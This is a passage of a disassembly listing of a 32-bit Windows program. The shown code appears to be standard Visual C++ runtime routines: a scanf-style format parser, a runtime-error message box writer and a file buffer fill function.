		movsx	eax, [ebp+18Ch+var_19A]
		dec	eax
		push	eax
		push	off_423F9C
		call	sub_405543
		pop	ecx
		call	eax
		add	esp, 10h
		jmp	loc_409D71
; ---------------------------------------------------------------------------

loc_40981E:				; CODE XREF: sub_409217+31Bj
		test	ecx, ecx
		jnz	short loc_40982C
		inc	[ebp+18Ch+var_198]
		mov	[ebp+18Ch+var_1B8], 1

loc_40982C:				; CODE XREF: sub_409217+609j
					; sub_409217+723j
		cmp	[ebp+18Ch+var_191], 0
		jle	short loc_409836
		mov	[ebp+18Ch+var_1A2], 1

loc_409836:				; CODE XREF: sub_409217+619j
					; sub_409217+823j
		dec	[ebp+18Ch+var_188]
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		mov	edi, esi
		jz	short loc_40984E
		push	[ebp+18Ch+var_1A0]
		push	[ebp+18Ch+var_190]
		call	sub_40F64F
		pop	ecx
		pop	ecx

loc_40984E:				; CODE XREF: sub_409217+628j
					; sub_409217+8E6j ...
		cmp	[ebp+18Ch+var_1B8], 0
		jz	short loc_409862
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	loc_409B1B

loc_409862:				; CODE XREF: sub_409217+63Bj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+18Ch+var_190], eax
		jz	loc_409B08
		cmp	ebx, 63h
		jz	short loc_4098C7
		cmp	ebx, 73h
		jnz	short loc_409896
		cmp	eax, 9
		jl	short loc_409891
		cmp	eax, 0Dh
		jle	loc_409B08

loc_409891:				; CODE XREF: sub_409217+66Fj
		cmp	eax, 20h
		jnz	short loc_4098C7

loc_409896:				; CODE XREF: sub_409217+66Aj
		cmp	ebx, 7Bh
		jnz	loc_409B08
		movsx	ebx, [ebp+18Ch+var_1A4]
		xor	edx, edx
		mov	ecx, eax
		and	ecx, 7
		inc	edx
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+18Ch+var_24]
		xor	ecx, ebx
		test	edx, ecx
		mov	ebx, [ebp+18Ch+var_1AC]
		jz	loc_409B08

loc_4098C7:				; CODE XREF: sub_409217+665j
					; sub_409217+67Dj
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_409B02
		cmp	[ebp+18Ch+var_1A2], 0
		jz	loc_409AF7
		mov	[ebp+18Ch+var_1DC], al
		movzx	eax, al
		push	eax
		call	sub_40CDE6
		test	eax, eax
		pop	ecx
		jz	short loc_4098FA
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	[ebp+18Ch+var_1DB], al

loc_4098FA:				; CODE XREF: sub_409217+6D3j
		lea	eax, [ebp+18Ch+var_1F8]
		push	eax
		mov	eax, [ebp+18Ch+var_1F8]
		mov	[ebp+18Ch+var_1E8], 3Fh
		push	dword ptr [eax+0ACh]
		lea	eax, [ebp+18Ch+var_1DC]
		push	eax
		lea	eax, [ebp+18Ch+var_1E8]
		push	eax
		call	sub_40F76D
		mov	ax, word ptr [ebp+18Ch+var_1E8]
		add	esp, 10h
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	loc_409AFA
; ---------------------------------------------------------------------------

loc_40992C:				; CODE XREF: sub_409217+30Cj
		mov	eax, ebx
		sub	eax, 70h
		jz	loc_409B53
		sub	eax, 3
		jz	loc_40982C
		dec	eax
		dec	eax
		jz	loc_409B57
		sub	eax, 3
		jz	loc_409571
		sub	eax, 3
		jz	short loc_40997A

loc_409956:				; CODE XREF: sub_409217+32Cj
					; sub_409217+33Fj
		movzx	eax, byte ptr [edi]
		cmp	eax, [ebp+18Ch+var_190]
		jnz	loc_409DE1
		dec	[ebp+18Ch+var_1A1]
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_409D71
		mov	eax, [ebp+18Ch+var_1FC]
		mov	[ebp+18Ch+var_1E4], eax
		jmp	loc_409D71
; ---------------------------------------------------------------------------

loc_40997A:				; CODE XREF: sub_409217+73Dj
		cmp	[ebp+18Ch+var_191], 0
		jle	short loc_409984
		mov	[ebp+18Ch+var_1A2], 1

loc_409984:				; CODE XREF: sub_409217+767j
		inc	edi
		cmp	byte ptr [edi],	5Eh
		mov	esi, edi
		jnz	short loc_409993
		lea	esi, [edi+1]
		mov	[ebp+18Ch+var_1A4], 0FFh

loc_409993:				; CODE XREF: sub_409217+773j
		push	20h
		lea	eax, [ebp+18Ch+var_24]
		push	0
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		cmp	byte ptr [esi],	5Dh
		jnz	short loc_4099B7
		mov	dl, 5Dh
		inc	esi
		mov	[ebp+18Ch+var_19], 20h
		jmp	short loc_409A26
; ---------------------------------------------------------------------------

loc_4099B7:				; CODE XREF: sub_409217+792j
		mov	dl, [ebp+18Ch+var_1C9]
		jmp	short loc_409A26
; ---------------------------------------------------------------------------

loc_4099BC:				; CODE XREF: sub_409217+813j
		inc	esi
		cmp	al, 2Dh
		jnz	short loc_409A09
		test	dl, dl
		jz	short loc_409A09
		mov	cl, [esi]
		cmp	cl, 5Dh
		jz	short loc_409A09
		inc	esi
		cmp	dl, cl
		jnb	short loc_4099D5
		mov	al, cl
		jmp	short loc_4099D9
; ---------------------------------------------------------------------------

loc_4099D5:				; CODE XREF: sub_409217+7B8j
		mov	al, dl
		mov	dl, cl

loc_4099D9:				; CODE XREF: sub_409217+7BCj
		cmp	dl, al
		ja	short loc_409A05
		sub	al, dl
		inc	al
		movzx	edi, dl
		movzx	edx, al

loc_4099E7:				; CODE XREF: sub_409217+7E9j
		mov	ecx, edi
		and	ecx, 7
		mov	eax, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+18Ch+var_24]
		or	[eax], bl
		inc	edi
		dec	edx
		jnz	short loc_4099E7
		mov	ebx, [ebp+18Ch+var_1AC]

loc_409A05:				; CODE XREF: sub_409217+7C4j
		xor	dl, dl
		jmp	short loc_409A26
; ---------------------------------------------------------------------------

loc_409A09:				; CODE XREF: sub_409217+7A8j
					; sub_409217+7ACj ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+18Ch+var_24]
		or	[eax], bl
		mov	ebx, [ebp+18Ch+var_1AC]

loc_409A26:				; CODE XREF: sub_409217+79Ej
					; sub_409217+7A3j ...
		mov	al, [esi]
		cmp	al, 5Dh
		jnz	short loc_4099BC
		test	al, al
		jz	loc_409E09
		mov	[ebp+18Ch+var_1B4], esi
		mov	esi, [ebp+18Ch+var_1C4]
		jmp	loc_409836
; ---------------------------------------------------------------------------

loc_409A3F:				; CODE XREF: sub_409217+360j
		cmp	ebx, 2Bh
		jnz	short loc_409A63

loc_409A44:				; CODE XREF: sub_409217+36Aj
		dec	[ebp+18Ch+var_198]
		jnz	short loc_409A53
		test	ecx, ecx
		jz	short loc_409A53
		mov	[ebp+18Ch+var_189], 1
		jmp	short loc_409A63
; ---------------------------------------------------------------------------

loc_409A53:				; CODE XREF: sub_409217+830j
					; sub_409217+834j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx

loc_409A63:				; CODE XREF: sub_409217+82Bj
					; sub_409217+83Aj
		cmp	ebx, 30h
		jnz	loc_409B89
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	ebx, eax
		cmp	bl, 78h
		mov	[ebp+18Ch+var_190], ebx
		jz	short loc_409AC8
		cmp	bl, 58h
		jz	short loc_409AC8
		cmp	[ebp+18Ch+var_1AC], 78h
		mov	[ebp+18Ch+var_1A8], 1
		jz	short loc_409AAD
		cmp	[ebp+18Ch+var_1B8], 0
		jz	short loc_409AA1
		dec	[ebp+18Ch+var_198]
		jnz	short loc_409AA1
		inc	[ebp+18Ch+var_189]

loc_409AA1:				; CODE XREF: sub_409217+880j
					; sub_409217+885j
		mov	[ebp+18Ch+var_1AC], 6Fh
		jmp	loc_409B89
; ---------------------------------------------------------------------------

loc_409AAD:				; CODE XREF: sub_409217+87Aj
		dec	[ebp+18Ch+var_188]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409AC0
		push	[ebp+18Ch+var_1A0]
		push	ebx
		call	sub_40F64F
		pop	ecx
		pop	ecx

loc_409AC0:				; CODE XREF: sub_409217+89Cj
		push	30h
		pop	ebx
		jmp	loc_409B86
; ---------------------------------------------------------------------------

loc_409AC8:				; CODE XREF: sub_409217+868j
					; sub_409217+86Dj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		cmp	[ebp+18Ch+var_1B8], 0
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx
		jz	short loc_409AEB
		sub	[ebp+18Ch+var_198], 2
		cmp	[ebp+18Ch+var_198], 1
		jge	short loc_409AEB
		inc	[ebp+18Ch+var_189]

loc_409AEB:				; CODE XREF: sub_409217+8C5j
					; sub_409217+8CFj
		mov	[ebp+18Ch+var_1AC], 78h
		jmp	loc_409B89
; ---------------------------------------------------------------------------

loc_409AF7:				; CODE XREF: sub_409217+6BEj
		mov	[esi], al
		inc	esi

loc_409AFA:				; CODE XREF: sub_409217+710j
		mov	[ebp+18Ch+var_1C4], esi
		jmp	loc_40984E
; ---------------------------------------------------------------------------

loc_409B02:				; CODE XREF: sub_409217+6B4j
		inc	edi
		jmp	loc_40984E
; ---------------------------------------------------------------------------

loc_409B08:				; CODE XREF: sub_409217+65Cj
					; sub_409217+674j ...
		dec	[ebp+18Ch+var_188]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409B1B
		push	[ebp+18Ch+var_1A0]
		push	eax
		call	sub_40F64F
		pop	ecx
		pop	ecx

loc_409B1B:				; CODE XREF: sub_409217+645j
					; sub_409217+8F7j
		cmp	edi, esi
		jz	loc_409E09
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_409D71
		inc	[ebp+18Ch+var_1C8]
		cmp	ebx, 63h
		jz	loc_409D71
		cmp	[ebp+18Ch+var_1A2], 0
		mov	eax, [ebp+18Ch+var_1C4]
		jz	short loc_409B4B
		and	word ptr [eax],	0
		jmp	loc_409D71
; ---------------------------------------------------------------------------

loc_409B4B:				; CODE XREF: sub_409217+929j
		mov	byte ptr [eax],	0
		jmp	loc_409D71
; ---------------------------------------------------------------------------

loc_409B53:				; CODE XREF: sub_409217+71Aj
		mov	[ebp+18Ch+var_19A], 1

loc_409B57:				; CODE XREF: sub_409217+312j
					; sub_409217+326j ...
		mov	ebx, [ebp+18Ch+var_190]
		cmp	ebx, 2Dh
		jnz	short loc_409B65
		mov	[ebp+18Ch+var_1A3], 1
		jmp	short loc_409B6A
; ---------------------------------------------------------------------------

loc_409B65:				; CODE XREF: sub_409217+946j
		cmp	ebx, 2Bh
		jnz	short loc_409B89

loc_409B6A:				; CODE XREF: sub_409217+94Cj
		dec	[ebp+18Ch+var_198]
		jnz	short loc_409B79
		test	ecx, ecx
		jz	short loc_409B79
		mov	[ebp+18Ch+var_189], 1
		jmp	short loc_409B89
; ---------------------------------------------------------------------------

loc_409B79:				; CODE XREF: sub_409217+956j
					; sub_409217+95Aj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	ebx, eax

loc_409B86:				; CODE XREF: sub_409217+8ACj
		mov	[ebp+18Ch+var_190], ebx

loc_409B89:				; CODE XREF: sub_409217+84Fj
					; sub_409217+891j ...
		cmp	[ebp+18Ch+var_1D4], 0
		jz	loc_409C8E
		cmp	[ebp+18Ch+var_189], 0
		jnz	loc_409C69

loc_409B9D:				; CODE XREF: sub_409217+A3Aj
		cmp	[ebp+18Ch+var_1AC], 78h
		jz	short loc_409BF2
		cmp	[ebp+18Ch+var_1AC], 70h
		jz	short loc_409BF2
		movzx	eax, bl
		push	eax
		call	sub_40F52F
		test	eax, eax
		pop	ecx
		jz	loc_409C56
		cmp	[ebp+18Ch+var_1AC], 6Fh
		jnz	short loc_409BDC
		cmp	ebx, 38h
		jge	loc_409C56
		mov	eax, [ebp+18Ch+var_1BC]
		mov	esi, [ebp+18Ch+var_1C0]
		shld	eax, esi, 3
		shl	esi, 3
		mov	[ebp+18Ch+var_1BC], eax
		jmp	short loc_409C27
; ---------------------------------------------------------------------------

loc_409BDC:				; CODE XREF: sub_409217+9A8j
		push	0
		push	0Ah
		push	[ebp+18Ch+var_1BC]
		push	[ebp+18Ch+var_1C0]
		call	sub_40F8A0
		mov	esi, eax
		mov	[ebp+18Ch+var_1BC], edx
		jmp	short loc_409C27
; ---------------------------------------------------------------------------

loc_409BF2:				; CODE XREF: sub_409217+98Aj
					; sub_409217+990j
		movzx	edi, bl
		push	edi
		call	sub_40F5AC
		test	eax, eax
		pop	ecx
		jz	short loc_409C56
		mov	eax, [ebp+18Ch+var_1BC]
		mov	esi, [ebp+18Ch+var_1C0]
		shld	eax, esi, 4
		push	edi
		shl	esi, 4
		mov	[ebp+18Ch+var_1BC], eax
		call	sub_40F52F
		test	eax, eax
		pop	ecx
		movsx	ebx, bl
		jnz	short loc_409C24
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7

loc_409C24:				; CODE XREF: sub_409217+A05j
		mov	[ebp+18Ch+var_190], ebx

loc_409C27:				; CODE XREF: sub_409217+9C3j
					; sub_409217+9D9j
		inc	[ebp+18Ch+var_1A8]
		lea	eax, [ebx-30h]
		cdq
		add	esi, eax
		adc	[ebp+18Ch+var_1BC], edx
		cmp	[ebp+18Ch+var_1B8], 0
		mov	[ebp+18Ch+var_1C0], esi
		jz	short loc_409C41
		dec	[ebp+18Ch+var_198]
		jz	short loc_409C69

loc_409C41:				; CODE XREF: sub_409217+A23j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx
		jmp	loc_409B9D
; ---------------------------------------------------------------------------

loc_409C56:				; CODE XREF: sub_409217+99Ej
					; sub_409217+9ADj ...
		dec	[ebp+18Ch+var_188]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409C69
		push	[ebp+18Ch+var_1A0]
		push	ebx
		call	sub_40F64F
		pop	ecx
		pop	ecx

loc_409C69:				; CODE XREF: sub_409217+980j
					; sub_409217+A28j ...
		cmp	[ebp+18Ch+var_1A3], 0
		mov	edi, [ebp+18Ch+var_1E0]
		jz	loc_409D31
		mov	eax, [ebp+18Ch+var_1C0]
		mov	ecx, [ebp+18Ch+var_1BC]
		neg	eax
		adc	ecx, 0
		neg	ecx
		mov	[ebp+18Ch+var_1C0], eax
		mov	[ebp+18Ch+var_1BC], ecx
		jmp	loc_409D31
; ---------------------------------------------------------------------------

loc_409C8E:				; CODE XREF: sub_409217+976j
		cmp	[ebp+18Ch+var_189], 0
		mov	edi, [ebp+18Ch+var_1E0]
		jnz	loc_409D29

loc_409C9B:				; CODE XREF: sub_409217+AFDj
		cmp	[ebp+18Ch+var_1AC], 78h
		jz	short loc_409CCA
		cmp	[ebp+18Ch+var_1AC], 70h
		jz	short loc_409CCA
		movzx	eax, bl
		push	eax
		call	sub_40F52F
		test	eax, eax
		pop	ecx
		jz	short loc_409D16
		cmp	[ebp+18Ch+var_1AC], 6Fh
		jnz	short loc_409CC5
		cmp	ebx, 38h
		jge	short loc_409D16
		shl	edi, 3
		jmp	short loc_409CF2
; ---------------------------------------------------------------------------

loc_409CC5:				; CODE XREF: sub_409217+AA2j
		imul	edi, 0Ah
		jmp	short loc_409CF2
; ---------------------------------------------------------------------------

loc_409CCA:				; CODE XREF: sub_409217+A88j
					; sub_409217+A8Ej
		movzx	esi, bl
		push	esi
		call	sub_40F5AC
		test	eax, eax
		pop	ecx
		jz	short loc_409D16
		push	esi
		shl	edi, 4
		call	sub_40F52F
		test	eax, eax
		pop	ecx
		movsx	ebx, bl
		jnz	short loc_409CEF
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7

loc_409CEF:				; CODE XREF: sub_409217+AD0j
		mov	[ebp+18Ch+var_190], ebx

loc_409CF2:				; CODE XREF: sub_409217+AACj
					; sub_409217+AB1j
		inc	[ebp+18Ch+var_1A8]
		cmp	[ebp+18Ch+var_1B8], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_409D04
		dec	[ebp+18Ch+var_198]
		jz	short loc_409D29

loc_409D04:				; CODE XREF: sub_409217+AE6j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx
		jmp	short loc_409C9B
; ---------------------------------------------------------------------------

loc_409D16:				; CODE XREF: sub_409217+A9Cj
					; sub_409217+AA7j ...
		dec	[ebp+18Ch+var_188]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409D29
		push	[ebp+18Ch+var_1A0]
		push	ebx
		call	sub_40F64F
		pop	ecx
		pop	ecx

loc_409D29:				; CODE XREF: sub_409217+A7Ej
					; sub_409217+AEBj ...
		cmp	[ebp+18Ch+var_1A3], 0
		jz	short loc_409D31
		neg	edi

loc_409D31:				; CODE XREF: sub_409217+A59j
					; sub_409217+A72j ...
		cmp	[ebp+18Ch+var_1AC], 46h
		jnz	short loc_409D3B
		and	[ebp+18Ch+var_1A8], 0

loc_409D3B:				; CODE XREF: sub_409217+B1Ej
		cmp	[ebp+18Ch+var_1A8], 0
		jz	loc_409E09
		cmp	[ebp+18Ch+var_199], 0
		jnz	short loc_409D71
		inc	[ebp+18Ch+var_1C8]
		mov	esi, [ebp+18Ch+var_1C4]

loc_409D51:				; CODE XREF: sub_409217+34Cj
		cmp	[ebp+18Ch+var_1D4], 0
		jz	short loc_409D64
		mov	eax, [ebp+18Ch+var_1C0]
		mov	[esi], eax
		mov	eax, [ebp+18Ch+var_1BC]
		mov	[esi+4], eax
		jmp	short loc_409D71
; ---------------------------------------------------------------------------

loc_409D64:				; CODE XREF: sub_409217+B3Ej
		cmp	[ebp+18Ch+var_19A], 0
		jz	short loc_409D6E
		mov	[esi], edi
		jmp	short loc_409D71
; ---------------------------------------------------------------------------

loc_409D6E:				; CODE XREF: sub_409217+B51j
		mov	[esi], di

loc_409D71:				; CODE XREF: sub_409217+352j
					; sub_409217+5D3j ...
		mov	edi, [ebp+18Ch+var_1B4]
		inc	[ebp+18Ch+var_1A1]
		inc	edi
		mov	[ebp+18Ch+var_1B4], edi
		jmp	short loc_409DBF
; ---------------------------------------------------------------------------

loc_409D7D:				; CODE XREF: sub_409217+17Cj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	ebx, eax
		movzx	eax, byte ptr [edi]
		inc	edi
		cmp	eax, ebx
		mov	[ebp+18Ch+var_190], ebx
		mov	[ebp+18Ch+var_1B4], edi
		jnz	short loc_409DF7
		movzx	eax, bl
		push	eax
		call	sub_40CDE6
		test	eax, eax
		pop	ecx
		jz	short loc_409DBF
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		movzx	ecx, byte ptr [edi]
		inc	edi
		cmp	ecx, eax
		mov	[ebp+18Ch+var_1B4], edi
		jnz	short loc_409DE7
		dec	[ebp+18Ch+var_188]

loc_409DBF:				; CODE XREF: sub_409217+B64j
					; sub_409217+B8Dj
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jnz	short loc_409DD5
		cmp	byte ptr [edi],	25h
		jnz	short loc_409E09
		mov	eax, [ebp+18Ch+var_1B4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_409E09
		mov	edi, eax

loc_409DD5:				; CODE XREF: sub_409217+174j
					; sub_409217+BACj
		mov	al, [edi]
		test	al, al
		jnz	loc_40934F
		jmp	short loc_409E09
; ---------------------------------------------------------------------------

loc_409DE1:				; CODE XREF: sub_409217+303j
					; sub_409217+745j
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jmp	short loc_409DFA
; ---------------------------------------------------------------------------

loc_409DE7:				; CODE XREF: sub_409217+BA3j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409DF7
		push	[ebp+18Ch+var_1A0]
		push	eax
		call	sub_40F64F
		pop	ecx
		pop	ecx

loc_409DF7:				; CODE XREF: sub_409217+B7Fj
					; sub_409217+BD3j
		cmp	ebx, 0FFFFFFFFh

loc_409DFA:				; CODE XREF: sub_409217+BCEj
		jz	short loc_409E09
		push	[ebp+18Ch+var_1A0]
		push	[ebp+18Ch+var_190]
		call	sub_40F64F
		pop	ecx
		pop	ecx

loc_409E09:				; CODE XREF: sub_409217+2ECj
					; sub_409217+3D7j ...
		cmp	[ebp+18Ch+var_1D0], 1
		jnz	short loc_409E18
		push	[ebp+18Ch+var_1B0]
		call	sub_4039C3
		pop	ecx

loc_409E18:				; CODE XREF: sub_409217+BF6j
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jnz	short loc_409E3C
		mov	eax, [ebp+18Ch+var_1C8]
		test	eax, eax
		jnz	short loc_409E2D
		cmp	[ebp+18Ch+var_1A1], al
		jnz	short loc_409E2D
		or	eax, 0FFFFFFFFh

loc_409E2D:				; CODE XREF: sub_409217+C0Cj
					; sub_409217+C11j
		cmp	[ebp+18Ch+var_1EC], 0
		jz	short loc_409E4C
		mov	ecx, [ebp+18Ch+var_1F0]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_409E4C
; ---------------------------------------------------------------------------

loc_409E3C:				; CODE XREF: sub_409217+12Fj
					; sub_409217+C05j
		cmp	[ebp+18Ch+var_1EC], 0
		jz	short loc_409E49
		mov	eax, [ebp+18Ch+var_1F0]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_409E49:				; CODE XREF: sub_409217+C29j
		mov	eax, [ebp+18Ch+var_1C8]

loc_409E4C:				; CODE XREF: sub_409217+70j
					; sub_409217+C1Aj ...
		mov	ecx, [ebp+18Ch+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		add	ebp, 18Ch
		leave
		retn
sub_409217	endp


; =============== S U B	R O U T	I N E =======================================



sub_409E64	proc near		; CODE XREF: sub_403AA0+2Ap
					; sub_40428D+12p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		mov	ebx, [esp+8+arg_0]
		push	esi
		push	edi
		xor	esi, esi
		xor	edi, edi

loc_409E70:				; CODE XREF: sub_409E64+19j
		cmp	ebx, dword_423C00[edi*8]
		jz	short loc_409E7F
		inc	edi
		cmp	edi, 17h
		jl	short loc_409E70

loc_409E7F:				; CODE XREF: sub_409E64+13j
		cmp	edi, 17h
		jnb	loc_409FFF
		push	ebp
		push	3
		call	sub_40FA72
		cmp	eax, 1
		pop	ecx
		jz	loc_409FCB
		push	3
		call	sub_40FA72
		test	eax, eax
		pop	ecx
		jnz	short loc_409EB3
		cmp	dword_423050, 1
		jz	loc_409FCB

loc_409EB3:				; CODE XREF: sub_409E64+40j
		cmp	ebx, 0FCh
		jz	loc_409FFE
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		mov	ebx, 314h
		push	ebx
		mov	ebp, offset dword_427A18
		push	ebp
		call	sub_407A85
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409EE9
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4031FD
		add	esp, 14h

loc_409EE9:				; CODE XREF: sub_409E64+76j
		push	104h
		mov	esi, offset byte_427A31
		push	esi
		push	0
		mov	byte_427B35, 0
		call	ds:dword_41D060	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_409F2D
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	2FBh
		push	esi
		call	sub_407A85
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409F2D
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_4031FD
		add	esp, 14h

loc_409F2D:				; CODE XREF: sub_409E64+A1j
					; sub_409E64+B8j
		push	esi
		call	sub_4044E0
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_409F72
		push	esi
		call	sub_4044E0
		sub	esi, 3Bh
		add	eax, esi
		push	3
		mov	ecx, offset dword_427D2C
		push	offset a___	; "..."
		sub	ecx, eax
		push	ecx
		push	eax
		call	sub_40CBF6
		add	esp, 14h
		test	eax, eax
		jz	short loc_409F72
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4031FD
		add	esp, 14h
		jmp	short loc_409F74
; ---------------------------------------------------------------------------

loc_409F72:				; CODE XREF: sub_409E64+D4j
					; sub_409E64+FBj
		xor	esi, esi

loc_409F74:				; CODE XREF: sub_409E64+10Cj
		push	offset asc_41DB20 ; "\n\n"
		push	ebx
		push	ebp
		call	sub_40CB3D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409F94
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4031FD
		add	esp, 14h

loc_409F94:				; CODE XREF: sub_409E64+121j
		push	off_423C04[edi*8]
		push	ebx
		push	ebp
		call	sub_40CB3D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409FB6
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4031FD
		add	esp, 14h

loc_409FB6:				; CODE XREF: sub_409E64+143j
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebp
		call	sub_40F8D4
		add	esp, 0Ch
		jmp	short loc_409FFE
; ---------------------------------------------------------------------------

loc_409FCB:				; CODE XREF: sub_409E64+30j
					; sub_409E64+49j
		push	0FFFFFFF4h
		call	ds:dword_41D148	; GetStdHandle
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_409FFE
		cmp	ebp, 0FFFFFFFFh
		jz	short loc_409FFE
		push	0
		lea	eax, [esp+18h+var_4]
		push	eax
		lea	esi, ds:423C04h[edi*8]
		push	dword ptr [esi]
		call	sub_4044E0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	ebp
		call	ds:dword_41D088	; WriteFile

loc_409FFE:				; CODE XREF: sub_409E64+55j
					; sub_409E64+165j ...
		pop	ebp

loc_409FFF:				; CODE XREF: sub_409E64+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_409E64	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A004	proc near		; CODE XREF: sub_403AA0+23p
					; sub_40428D+9p ...
		push	3
		call	sub_40FA72
		cmp	eax, 1
		pop	ecx
		jz	short loc_40A026
		push	3
		call	sub_40FA72
		test	eax, eax
		pop	ecx
		jnz	short locret_40A03C
		cmp	dword_423050, 1
		jnz	short locret_40A03C

loc_40A026:				; CODE XREF: sub_40A004+Bj
		push	0FCh
		call	sub_409E64
		push	0FFh
		call	sub_409E64
		pop	ecx
		pop	ecx

locret_40A03C:				; CODE XREF: sub_40A004+17j
					; sub_40A004+20j
		retn
sub_40A004	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A03D	proc near		; CODE XREF: sub_403EE2+EDp
					; sub_4091DC+Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_40A066
		call	sub_405B83
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		jmp	loc_40A157
; ---------------------------------------------------------------------------

loc_40A066:				; CODE XREF: sub_40A03D+Aj
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_40A157
		test	al, 40h
		jnz	loc_40A157
		test	al, 2
		jz	short loc_40A088
		or	eax, 20h
		mov	[esi+0Ch], eax
		jmp	loc_40A157
; ---------------------------------------------------------------------------

loc_40A088:				; CODE XREF: sub_40A03D+3Ej
		or	eax, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_40A09D
		push	esi
		call	sub_40D8AC
		pop	ecx
		jmp	short loc_40A0A2
; ---------------------------------------------------------------------------

loc_40A09D:				; CODE XREF: sub_40A03D+55j
		mov	eax, [esi+8]
		mov	[esi], eax

loc_40A0A2:				; CODE XREF: sub_40A03D+5Ej
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	esi
		call	sub_408DD0
		pop	ecx
		push	eax
		call	sub_40A6FF
		add	esp, 0Ch
		cmp	eax, edi
		mov	[esi+4], eax
		jz	loc_40A147
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A147
		test	byte ptr [esi+0Ch], 82h
		jnz	short loc_40A11D
		push	esi
		call	sub_408DD0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_40A108
		push	esi
		call	sub_408DD0
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_40A108
		push	esi
		call	sub_408DD0
		sar	eax, 5
		push	esi
		lea	edi, ds:435700h[eax*4]
		call	sub_408DD0
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_40A10D
; ---------------------------------------------------------------------------

loc_40A108:				; CODE XREF: sub_40A03D+9Bj
					; sub_40A03D+A7j
		mov	eax, offset dword_423BD0

loc_40A10D:				; CODE XREF: sub_40A03D+C9j
		mov	al, [eax+4]
		and	al, 82h
		cmp	al, 82h
		jnz	short loc_40A11D
		or	dword ptr [esi+0Ch], 2000h

